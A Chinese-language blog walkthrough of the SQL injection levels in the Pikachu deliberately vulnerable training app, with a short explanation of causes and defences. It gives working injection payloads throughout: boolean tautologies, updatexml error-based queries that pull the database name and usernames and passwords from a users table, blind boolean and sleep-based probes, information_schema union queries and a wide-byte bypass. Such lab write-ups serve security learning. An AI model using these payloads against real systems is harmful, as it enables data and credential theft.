Pikachu-SQL注入
Posted ·amber·
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pikachu-SQL注入相关的知识,希望对你有一定的参考价值。
摘要:
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
产生漏洞的原因:
SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。比如我们期望用户输入整数的id 1,但是用户输入了1 or 1=1,这是条能被正常执行的SQL语句,导致表中的数据都会输出。
注入点类型:
1. 数字型:user_id=$id
2. 字符型:user_id=\'$id\'
3. 搜索型:text LIKE \'%{$_GET[\'search\']}%\'"
SQL注入的攻击流程:
1.注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造SQL注入测试语句进行注入点发现
2.信息获取,通过注入点取得期望得到的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)
3.获取权限
通过数据库执行shell,上传木马等方法
下面开始闯关:
数字型注入(post)
直接输入数字就可
正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。
那我们来抓包来测试一下 ,把传入的参数改成 1 or 1=1。
按理说应该取出了数据库中全部数据,才说明存在数字型注入漏洞。我这里不知道怎么错了,疑惑出不来数据库
字符型注入(get):
输入lili,可以得到:
因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。
我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload为:kobe\' or 1=1#
这样我们要查的这个表中全部信息就出来了。
搜索型注入:
构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下
xxxx%\' or 1=1#
我们输入li%\' or 1=1#
XX型注入:
使用payload xx\')or 1=1# 可得
insert/update注入
所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
1.insert注入
使用updataxml 函数
注入payload
1\' or updatexml(1,concat(0x7e,database()),0) or\'
得到皮卡丘的数据库名字是 pikachu
这个我还没搞明白,截图以后更~
2 update注入
先登录进去,在修改资料处抓包
Payload和insert注入相同:
1\' or updatexml(1,concat(0x7e,database()),0) or\'
同样能得到皮卡丘的数据库名字是 pikachu
delete注入:
先进行留言 在删除的时候抓包
由于是get的类型的 在payload记得进行url编码
payload 与之前一样如下:1 or updatexml(1, concat(0x7e,database()), 0) (要进行URL编码)
http header注入
开发人员为了验证客户端头信息(比如cookie验证)使用或者通过http header获取客户端的一些信息等,会对客户端的http header信息进行获取并使用SQL进行处理。
先登录
然后抓包,修改user-agent或者cookie完成注入:1\' or updatexml(1, concat(0x7e,(select (concat_ws(\'-\',username,password)) from pikachu.users limit 0,1) ),1) or \'
盲注 based on boolean:
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错,此时无法根据报错信息来进行注入的判断。这种情况下的注入,称为“盲注”。
只有加and 1=1#
才能返回个人信息,or 1=1#
报错
用函数来构造payload
lili\' and ascii(substr(database(),1,1))=112#
lili\' and ascii(substr(database(),1,1)>110#
lili\' and ascii(substr(database(),1,1)<113#
112通过多次比较才能试出来
然后获取表名
test payload:
lili\' union select table_schema,table_name from information_schema.tables where table_schema=\'pikachu\'#
然后获取字段名
lili\' union select table_name,column_name from information_schema.columns where table_name=\'users\'#
盲注(base on time)
同样的也是挨个试,这次看对错是看这个反应时间,要是可以的话就会五秒多一些。
payload:
lili’ and sleep(5)#
基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,在皮卡丘平台一,无论输入什么,前端都是显示“I don\'t care who you are!”
宽字节注入:
刚开始尝试发现注入不行,抓包发现以及进行了编码
在抓包后修改也不行
发现‘被后台转移,所以构造payload 1%df\' or 1=1#
注入成功!!!
以上是关于Pikachu-SQL注入的主要内容,如果未能解决你的问题,请参考以下文章
以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?
初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段
初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段